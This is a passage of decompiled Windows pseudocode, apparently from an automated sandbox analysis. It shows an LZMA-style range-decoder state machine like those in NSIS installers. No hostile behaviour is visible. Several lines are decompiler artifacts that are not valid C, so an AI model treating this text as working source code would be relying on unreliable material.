                                                                                                        												}
                                                                                                        											case 1:
                                                                                                        												L13:
                                                                                                        												__eflags =  *(_t621 - 0x6c);
                                                                                                        												if( *(_t621 - 0x6c) == 0) {
                                                                                                        													 *(_t621 - 0x88) = 1;
                                                                                                        													goto L170;
                                                                                                        												}
                                                                                                        												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
                                                                                                        												 *(_t621 - 0x40) =  *(_t621 - 0x40) | ( *( *(_t621 - 0x70)) & 0x000000ff) <<  *(_t621 - 0x48) << 0x00000003;
                                                                                                        												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
                                                                                                        												_t45 = _t621 - 0x48;
                                                                                                        												 *_t45 =  *(_t621 - 0x48) + 1;
                                                                                                        												__eflags =  *_t45;
                                                                                                        												L15:
                                                                                                        												if( *(_t621 - 0x48) < 4) {
                                                                                                        													goto L13;
                                                                                                        												}
                                                                                                        												_t555 =  *(_t621 - 0x40);
                                                                                                        												if(_t555 ==  *(_t621 - 0x74)) {
                                                                                                        													L20:
                                                                                                        													 *(_t621 - 0x48) = 5;
                                                                                                        													 *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) =  *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) & 0x00000000;
                                                                                                        													goto L23;
                                                                                                        												}
                                                                                                        												 *(_t621 - 0x74) = _t555;
                                                                                                        												if( *(_t621 - 8) != 0) {
                                                                                                        													GlobalFree( *(_t621 - 8));
                                                                                                        												}
                                                                                                        												_t543 = GlobalAlloc(0x40,  *(_t621 - 0x40)); // executed
                                                                                                        												 *(_t621 - 8) = _t543;
                                                                                                        												if(_t543 == 0) {
                                                                                                        													goto L171;
                                                                                                        												} else {
                                                                                                        													goto L20;
                                                                                                        												}
                                                                                                        											case 2:
                                                                                                        												L24:
                                                                                                        												_t562 =  *(_t621 - 0x60) &  *(_t621 - 0x1c);
                                                                                                        												 *(_t621 - 0x84) = 6;
                                                                                                        												 *(_t621 - 0x4c) = _t562;
                                                                                                        												_t614 =  *(_t621 - 4) + (( *(_t621 - 0x38) << 4) + _t562) * 2;
                                                                                                        												goto L132;
                                                                                                        											case 3:
                                                                                                        												L21:
                                                                                                        												__eflags =  *(_t621 - 0x6c);
                                                                                                        												if( *(_t621 - 0x6c) == 0) {
                                                                                                        													 *(_t621 - 0x88) = 3;
                                                                                                        													goto L170;
                                                                                                        												}
                                                                                                        												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
                                                                                                        												_t67 = _t621 - 0x70;
                                                                                                        												 *_t67 =  &(( *(_t621 - 0x70))[1]);
                                                                                                        												__eflags =  *_t67;
                                                                                                        												 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
                                                                                                        												L23:
                                                                                                        												 *(_t621 - 0x48) =  *(_t621 - 0x48) - 1;
                                                                                                        												if( *(_t621 - 0x48) != 0) {
                                                                                                        													goto L21;
                                                                                                        												}
                                                                                                        												goto L24;
                                                                                                        											case 4:
                                                                                                        												L133:
                                                                                                        												_t540 =  *_t614;
                                                                                                        												_t597 = _t540 & 0x0000ffff;
                                                                                                        												_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
                                                                                                        												if( *(_t621 - 0xc) >= _t573) {
                                                                                                        													 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
                                                                                                        													 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
                                                                                                        													 *(_t621 - 0x40) = 1;
                                                                                                        													_t541 = _t540 - (_t540 >> 5);
                                                                                                        													 *_t614 = _t541;
                                                                                                        												} else {
                                                                                                        													 *(_t621 - 0x10) = _t573;
                                                                                                        													 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
                                                                                                        													 *_t614 = (0x800 - _t597 >> 5) + _t540;
                                                                                                        												}
                                                                                                        												if( *(_t621 - 0x10) >= 0x1000000) {
                                                                                                        													goto L139;
                                                                                                        												}
                                                                                                        											case 5:
                                                                                                        												goto L137;
                                                                                                        											case 6:
                                                                                                        												__edx = 0;
                                                                                                        												__eflags =  *(__ebp - 0x40);
                                                                                                        												if( *(__ebp - 0x40) != 0) {
                                                                                                        													__eax =  *(__ebp - 4);
                                                                                                        													__ecx =  *(__ebp - 0x38);
                                                                                                        													 *(__ebp - 0x34) = 1;
                                                                                                        													 *(__ebp - 0x84) = 7;
                                                                                                        													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
                                                                                                        													L132:
                                                                                                        													 *(_t621 - 0x54) = _t614;
                                                                                                        													goto L133;
                                                                                                        												}
                                                                                                        												__eax =  *(__ebp - 0x5c) & 0x000000ff;
                                                                                                        												__esi =  *(__ebp - 0x60);
                                                                                                        												__cl = 8;
                                                                                                        												__cl = 8 -  *(__ebp - 0x3c);
                                                                                                        												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
                                                                                                        												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
                                                                                                        												__ecx =  *(__ebp - 0x3c);
                                                                                                        												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
                                                                                                        												__ecx =  *(__ebp - 4);
                                                                                                        												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
                                                                                                        												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
                                                                                                        												__eflags =  *(__ebp - 0x38) - 4;
                                                                                                        												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                                                                        												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                                                                        												if( *(__ebp - 0x38) >= 4) {
                                                                                                        													__eflags =  *(__ebp - 0x38) - 0xa;
                                                                                                        													if( *(__ebp - 0x38) >= 0xa) {
                                                                                                        														_t98 = __ebp - 0x38;
                                                                                                        														 *_t98 =  *(__ebp - 0x38) - 6;
                                                                                                        														__eflags =  *_t98;
                                                                                                        													} else {
                                                                                                        														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
                                                                                                        													}
                                                                                                        												} else {
                                                                                                        													 *(__ebp - 0x38) = 0;
                                                                                                        												}
                                                                                                        												__eflags =  *(__ebp - 0x34) - __edx;
                                                                                                        												if( *(__ebp - 0x34) == __edx) {
                                                                                                        													__ebx = 0;
                                                                                                        													__ebx = 1;
                                                                                                        													goto L61;
                                                                                                        												} else {
                                                                                                        													__eax =  *(__ebp - 0x14);
                                                                                                        													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                                                                        													__eflags = __eax -  *(__ebp - 0x74);
                                                                                                        													if(__eax >=  *(__ebp - 0x74)) {
                                                                                                        														__eax = __eax +  *(__ebp - 0x74);
                                                                                                        														__eflags = __eax;
                                                                                                        													}
                                                                                                        													__ecx =  *(__ebp - 8);
                                                                                                        													__ebx = 0;
                                                                                                        													__ebx = 1;
                                                                                                        													__al =  *((intOrPtr*)(__eax + __ecx));
                                                                                                        													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
                                                                                                        													goto L41;
                                                                                                        												}
                                                                                                        											case 7:
                                                                                                        												goto L0;
                                                                                                        											case 8:
                                                                                                        												__eflags =  *(__ebp - 0x40);
                                                                                                        												if( *(__ebp - 0x40) != 0) {
                                                                                                        													__eax =  *(__ebp - 4);
                                                                                                        													__ecx =  *(__ebp - 0x38);
                                                                                                        													 *(__ebp - 0x84) = 0xa;
                                                                                                        													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
                                                                                                        												} else {
                                                                                                        													__eax =  *(__ebp - 0x38);
                                                                                                        													__ecx =  *(__ebp - 4);
                                                                                                        													__eax =  *(__ebp - 0x38) + 0xf;
                                                                                                        													 *(__ebp - 0x84) = 9;
                                                                                                        													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
                                                                                                        													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
                                                                                                        												}
                                                                                                        												while(1) {
                                                                                                        													L132:
                                                                                                        													 *(_t621 - 0x54) = _t614;
                                                                                                        													goto L133;
                                                                                                        												}
                                                                                                        											case 9:
                                                                                                        												__eflags =  *(__ebp - 0x40);
                                                                                                        												if( *(__ebp - 0x40) != 0) {
                                                                                                        													goto L89;
                                                                                                        												}
                                                                                                        												__eflags =  *(__ebp - 0x60);
                                                                                                        												if( *(__ebp - 0x60) == 0) {
                                                                                                        													goto L171;
                                                                                                        												}
                                                                                                        												__eax = 0;
                                                                                                        												__eflags =  *(__ebp - 0x38) - 7;
                                                                                                        												_t258 =  *(__ebp - 0x38) - 7 >= 0;
                                                                                                        												__eflags = _t258;
                                                                                                        												0 | _t258 = _t258 + _t258 + 9;
                                                                                                        												 *(__ebp - 0x38) = _t258 + _t258 + 9;
                                                                                                        												goto L75;
                                                                                                        											case 0xa:
                                                                                                        												__eflags =  *(__ebp - 0x40);
                                                                                                        												if( *(__ebp - 0x40) != 0) {
                                                                                                        													__eax =  *(__ebp - 4);
                                                                                                        													__ecx =  *(__ebp - 0x38);
                                                                                                        													 *(__ebp - 0x84) = 0xb;
                                                                                                        													__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
                                                                                                        													while(1) {
                                                                                                        														L132:
                                                                                                        														 *(_t621 - 0x54) = _t614;
                                                                                                        														goto L133;
                                                                                                        													}
                                                                                                        												}
                                                                                                        												__eax =  *(__ebp - 0x28);
                                                                                                        												goto L88;
                                                                                                        											case 0xb:
                                                                                                        												__eflags =  *(__ebp - 0x40);
                                                                                                        												if( *(__ebp - 0x40) != 0) {
                                                                                                        													__ecx =  *(__ebp - 0x24);
                                                                                                        													__eax =  *(__ebp - 0x20);
                                                                                                        													 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                                                                        												} else {
                                                                                                        													__eax =  *(__ebp - 0x24);
                                                                                                        												}
                                                                                                        												__ecx =  *(__ebp - 0x28);
                                                                                                        												 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                                                                        												L88:
                                                                                                        												__ecx =  *(__ebp - 0x2c);
                                                                                                        												 *(__ebp - 0x2c) = __eax;
                                                                                                        												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                                                                        												L89:
                                                                                                        												__eax =  *(__ebp - 4);
                                                                                                        												 *(__ebp - 0x80) = 0x15;
                                                                                                        												__eax =  *(__ebp - 4) + 0xa68;
                                                                                                        												 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
                                                                                                        												goto L68;
                                                                                                        											case 0xc:
                                                                                                        												L99:
                                                                                                        												__eflags =  *(__ebp - 0x6c);
                                                                                                        												if( *(__ebp - 0x6c) == 0) {
                                                                                                        													 *(__ebp - 0x88) = 0xc;
                                                                                                        													goto L170;
                                                                                                        												}
                                                                                                        												__ecx =  *(__ebp - 0x70);
                                                                                                        												__eax =  *(__ebp - 0xc);
                                                                                                        												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        												_t334 = __ebp - 0x70;
                                                                                                        												 *_t334 =  *(__ebp - 0x70) + 1;
                                                                                                        												__eflags =  *_t334;
                                                                                                        												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        												__eax =  *(__ebp - 0x2c);
                                                                                                        												goto L101;
                                                                                                        											case 0xd:
                                                                                                        												L37:
                                                                                                        												__eflags =  *(__ebp - 0x6c);
                                                                                                        												if( *(__ebp - 0x6c) == 0) {
                                                                                                        													 *(__ebp - 0x88) = 0xd;
                                                                                                        													goto L170;
                                                                                                        												}
                                                                                                        												__ecx =  *(__ebp - 0x70);
                                                                                                        												__eax =  *(__ebp - 0xc);
                                                                                                        												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        												_t122 = __ebp - 0x70;
                                                                                                        												 *_t122 =  *(__ebp - 0x70) + 1;
                                                                                                        												__eflags =  *_t122;
                                                                                                        												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        												L39:
                                                                                                        												__eax =  *(__ebp - 0x40);
                                                                                                        												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                                                                                        												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
                                                                                                        													goto L48;
                                                                                                        												}
                                                                                                        												__eflags = __ebx - 0x100;
                                                                                                        												if(__ebx >= 0x100) {
                                                                                                        													goto L54;
                                                                                                        												}
                                                                                                        												L41:
                                                                                                        												__eax =  *(__ebp - 0x5b) & 0x000000ff;
                                                                                                        												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
                                                                                                        												__ecx =  *(__ebp - 0x58);
                                                                                                        												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
                                                                                                        												 *(__ebp - 0x48) = __eax;
                                                                                                        												__eax = __eax + 1;
                                                                                                        												__eax = __eax << 8;
                                                                                                        												__eax = __eax + __ebx;
                                                                                                        												__esi =  *(__ebp - 0x58) + __eax * 2;
                                                                                                        												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                                                                        												__ax =  *__esi;
                                                                                                        												 *(__ebp - 0x54) = __esi;
                                                                                                        												__edx = __ax & 0x0000ffff;
                                                                                                        												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
                                                                                                        												__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                                        												if( *(__ebp - 0xc) >= __ecx) {
                                                                                                        													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                                        													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                                        													__cx = __ax;
                                                                                                        													 *(__ebp - 0x40) = 1;
                                                                                                        													__cx = __ax >> 5;
                                                                                                        													__eflags = __eax;
                                                                                                        													__ebx = __ebx + __ebx + 1;
                                                                                                        													 *__esi = __ax;
                                                                                                        												} else {
                                                                                                        													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
                                                                                                        													 *(__ebp - 0x10) = __ecx;
                                                                                                        													0x800 = 0x800 - __edx;
                                                                                                        													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
                                                                                                        													__ebx = __ebx + __ebx;
                                                                                                        													 *__esi = __cx;
                                                                                                        												}
                                                                                                        												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                                        												 *(__ebp - 0x44) = __ebx;
                                                                                                        												if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                                        													goto L39;
                                                                                                        												} else {
                                                                                                        													goto L37;
                                                                                                        												}
                                                                                                        											case 0xe:
                                                                                                        												L46:
                                                                                                        												__eflags =  *(__ebp - 0x6c);
                                                                                                        												if( *(__ebp - 0x6c) == 0) {
                                                                                                        													 *(__ebp - 0x88) = 0xe;
                                                                                                        													goto L170;
                                                                                                        												}
                                                                                                        												__ecx =  *(__ebp - 0x70);
                                                                                                        												__eax =  *(__ebp - 0xc);
                                                                                                        												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        												_t156 = __ebp - 0x70;
                                                                                                        												 *_t156 =  *(__ebp - 0x70) + 1;
                                                                                                        												__eflags =  *_t156;
                                                                                                        												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        												while(1) {
                                                                                                        													L48:
                                                                                                        													__eflags = __ebx - 0x100;
                                                                                                        													if(__ebx >= 0x100) {
                                                                                                        														break;
                                                                                                        													}
                                                                                                        													__eax =  *(__ebp - 0x58);
                                                                                                        													__edx = __ebx + __ebx;
                                                                                                        													__ecx =  *(__ebp - 0x10);
                                                                                                        													__esi = __edx + __eax;
                                                                                                        													__ecx =  *(__ebp - 0x10) >> 0xb;
                                                                                                        													__ax =  *__esi;
                                                                                                        													 *(__ebp - 0x54) = __esi;
                                                                                                        													__edi = __ax & 0x0000ffff;
                                                                                                        													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                                        													__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                                        													if( *(__ebp - 0xc) >= __ecx) {
                                                                                                        														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                                        														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                                        														__cx = __ax;
                                                                                                        														_t170 = __edx + 1; // 0x1
                                                                                                        														__ebx = _t170;
                                                                                                        														__cx = __ax >> 5;
                                                                                                        														__eflags = __eax;
                                                                                                        														 *__esi = __ax;
                                                                                                        													} else {
                                                                                                        														 *(__ebp - 0x10) = __ecx;
                                                                                                        														0x800 = 0x800 - __edi;
                                                                                                        														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                                        														__ebx = __ebx + __ebx;
                                                                                                        														 *__esi = __cx;
                                                                                                        													}
                                                                                                        													__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                                        													 *(__ebp - 0x44) = __ebx;
                                                                                                        													if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                                        														continue;
                                                                                                        													} else {
                                                                                                        														goto L46;
                                                                                                        													}
                                                                                                        												}
                                                                                                        												L54:
                                                                                                        												_t173 = __ebp - 0x34;
                                                                                                        												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
                                                                                                        												__eflags =  *_t173;
                                                                                                        												goto L55;
                                                                                                        											case 0xf:
                                                                                                        												L58:
                                                                                                        												__eflags =  *(__ebp - 0x6c);
                                                                                                        												if( *(__ebp - 0x6c) == 0) {
                                                                                                        													 *(__ebp - 0x88) = 0xf;
                                                                                                        													goto L170;
                                                                                                        												}
                                                                                                        												__ecx =  *(__ebp - 0x70);
                                                                                                        												__eax =  *(__ebp - 0xc);
                                                                                                        												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        												_t203 = __ebp - 0x70;
                                                                                                        												 *_t203 =  *(__ebp - 0x70) + 1;
                                                                                                        												__eflags =  *_t203;
                                                                                                        												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        												L60:
                                                                                                        												__eflags = __ebx - 0x100;
                                                                                                        												if(__ebx >= 0x100) {
                                                                                                        													L55:
                                                                                                        													__al =  *(__ebp - 0x44);
                                                                                                        													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
                                                                                                        													goto L56;
                                                                                                        												}
                                                                                                        												L61:
                                                                                                        												__eax =  *(__ebp - 0x58);
                                                                                                        												__edx = __ebx + __ebx;
                                                                                                        												__ecx =  *(__ebp - 0x10);
                                                                                                        												__esi = __edx + __eax;
                                                                                                        												__ecx =  *(__ebp - 0x10) >> 0xb;
                                                                                                        												__ax =  *__esi;
                                                                                                        												 *(__ebp - 0x54) = __esi;
                                                                                                        												__edi = __ax & 0x0000ffff;
                                                                                                        												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                                        												__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                                        												if( *(__ebp - 0xc) >= __ecx) {
                                                                                                        													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                                        													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                                        													__cx = __ax;
                                                                                                        													_t217 = __edx + 1; // 0x1
                                                                                                        													__ebx = _t217;
                                                                                                        													__cx = __ax >> 5;
                                                                                                        													__eflags = __eax;
                                                                                                        													 *__esi = __ax;
                                                                                                        												} else {
                                                                                                        													 *(__ebp - 0x10) = __ecx;
                                                                                                        													0x800 = 0x800 - __edi;
                                                                                                        													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                                        													__ebx = __ebx + __ebx;
                                                                                                        													 *__esi = __cx;
                                                                                                        												}
                                                                                                        												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                                        												 *(__ebp - 0x44) = __ebx;
                                                                                                        												if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                                        													goto L60;
                                                                                                        												} else {
                                                                                                        													goto L58;
                                                                                                        												}
                                                                                                        											case 0x10:
                                                                                                        												L109:
                                                                                                        												__eflags =  *(__ebp - 0x6c);
                                                                                                        												if( *(__ebp - 0x6c) == 0) {
                                                                                                        													 *(__ebp - 0x88) = 0x10;
                                                                                                        													goto L170;
                                                                                                        												}
                                                                                                        												__ecx =  *(__ebp - 0x70);
                                                                                                        												__eax =  *(__ebp - 0xc);
                                                                                                        												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        												_t365 = __ebp - 0x70;
                                                                                                        												 *_t365 =  *(__ebp - 0x70) + 1;
                                                                                                        												__eflags =  *_t365;
                                                                                                        												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        												goto L111;
                                                                                                        											case 0x11:
                                                                                                        												L68:
                                                                                                        												_t614 =  *(_t621 - 0x58);
                                                                                                        												 *(_t621 - 0x84) = 0x12;
                                                                                                        												while(1) {
                                                                                                        													L132:
                                                                                                        													 *(_t621 - 0x54) = _t614;
                                                                                                        													goto L133;
                                                                                                        												}
                                                                                                        											case 0x12:
                                                                                                        												__eflags =  *(__ebp - 0x40);
                                                                                                        												if( *(__ebp - 0x40) != 0) {
                                                                                                        													__eax =  *(__ebp - 0x58);
                                                                                                        													 *(__ebp - 0x84) = 0x13;
                                                                                                        													__esi =  *(__ebp - 0x58) + 2;
                                                                                                        													while(1) {
                                                                                                        														L132:
                                                                                                        														 *(_t621 - 0x54) = _t614;
                                                                                                        														goto L133;
                                                                                                        													}
                                                                                                        												}
                                                                                                        												__eax =  *(__ebp - 0x4c);
                                                                                                        												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
                                                                                                        												__ecx =  *(__ebp - 0x58);
                                                                                                        												__eax =  *(__ebp - 0x4c) << 4;
                                                                                                        												__eflags = __eax;
                                                                                                        												__eax =  *(__ebp - 0x58) + __eax + 4;
                                                                                                        												goto L130;
                                                                                                        											case 0x13:
                                                                                                        												__eflags =  *(__ebp - 0x40);
                                                                                                        												if( *(__ebp - 0x40) != 0) {
                                                                                                        													_t469 = __ebp - 0x58;
                                                                                                        													 *_t469 =  *(__ebp - 0x58) + 0x204;
                                                                                                        													__eflags =  *_t469;
                                                                                                        													 *(__ebp - 0x30) = 0x10;
                                                                                                        													 *(__ebp - 0x40) = 8;
                                                                                                        													L144:
                                                                                                        													 *(__ebp - 0x7c) = 0x14;
                                                                                                        													goto L145;
                                                                                                        												}
                                                                                                        												__eax =  *(__ebp - 0x4c);
                                                                                                        												__ecx =  *(__ebp - 0x58);
                                                                                                        												__eax =  *(__ebp - 0x4c) << 4;
                                                                                                        												 *(__ebp - 0x30) = 8;
                                                                                                        												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
                                                                                                        												L130:
                                                                                                        												 *(__ebp - 0x58) = __eax;
                                                                                                        												 *(__ebp - 0x40) = 3;
                                                                                                        												goto L144;
                                                                                                        											case 0x14:
                                                                                                        												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
                                                                                                        												__eax =  *(__ebp - 0x80);
                                                                                                        												 *(_t621 - 0x88) = _t542;
                                                                                                        												goto L1;
                                                                                                        											case 0x15:
                                                                                                        												__eax = 0;
                                                                                                        												__eflags =  *(__ebp - 0x38) - 7;
                                                                                                        												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                                                                        												__al = __al & 0x000000fd;
                                                                                                        												__eax = (__eflags >= 0) - 1 + 0xb;
                                                                                                        												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
                                                                                                        												goto L120;
                                                                                                        											case 0x16:
                                                                                                        												__eax =  *(__ebp - 0x30);
                                                                                                        												__eflags = __eax - 4;
                                                                                                        												if(__eax >= 4) {
                                                                                                        													_push(3);
                                                                                                        													_pop(__eax);
                                                                                                        												}
                                                                                                        												__ecx =  *(__ebp - 4);
                                                                                                        												 *(__ebp - 0x40) = 6;
                                                                                                        												__eax = __eax << 7;
                                                                                                        												 *(__ebp - 0x7c) = 0x19;
                                                                                                        												 *(__ebp - 0x58) = __eax;
                                                                                                        												goto L145;
                                                                                                        											case 0x17:
                                                                                                        												L145:
                                                                                                        												__eax =  *(__ebp - 0x40);
                                                                                                        												 *(__ebp - 0x50) = 1;
                                                                                                        												 *(__ebp - 0x48) =  *(__ebp - 0x40);
                                                                                                        												goto L149;
                                                                                                        											case 0x18:
                                                                                                        												L146:
                                                                                                        												__eflags =  *(__ebp - 0x6c);
                                                                                                        												if( *(__ebp - 0x6c) == 0) {
                                                                                                        													 *(__ebp - 0x88) = 0x18;
                                                                                                        													goto L170;
                                                                                                        												}
                                                                                                        												__ecx =  *(__ebp - 0x70);
                                                                                                        												__eax =  *(__ebp - 0xc);
                                                                                                        												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        												_t484 = __ebp - 0x70;
                                                                                                        												 *_t484 =  *(__ebp - 0x70) + 1;
                                                                                                        												__eflags =  *_t484;
                                                                                                        												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        												L148:
                                                                                                        												_t487 = __ebp - 0x48;
                                                                                                        												 *_t487 =  *(__ebp - 0x48) - 1;
                                                                                                        												__eflags =  *_t487;
                                                                                                        												L149:
                                                                                                        												__eflags =  *(__ebp - 0x48);
                                                                                                        												if( *(__ebp - 0x48) <= 0) {
                                                                                                        													__ecx =  *(__ebp - 0x40);
                                                                                                        													__ebx =  *(__ebp - 0x50);
                                                                                                        													0 = 1;
                                                                                                        													__eax = 1 << __cl;
                                                                                                        													__ebx =  *(__ebp - 0x50) - (1 << __cl);
                                                                                                        													__eax =  *(__ebp - 0x7c);
                                                                                                        													 *(__ebp - 0x44) = __ebx;
                                                                                                        													while(1) {
                                                                                                        														 *(_t621 - 0x88) = _t542;
                                                                                                        														goto L1;
                                                                                                        													}
                                                                                                        												}
                                                                                                        												__eax =  *(__ebp - 0x50);
                                                                                                        												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                                                                        												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                                                                                        												__eax =  *(__ebp - 0x58);
                                                                                                        												__esi = __edx + __eax;
                                                                                                        												 *(__ebp - 0x54) = __esi;
                                                                                                        												__ax =  *__esi;
                                                                                                        												__edi = __ax & 0x0000ffff;
                                                                                                        												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                                        												__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                                        												if( *(__ebp - 0xc) >= __ecx) {
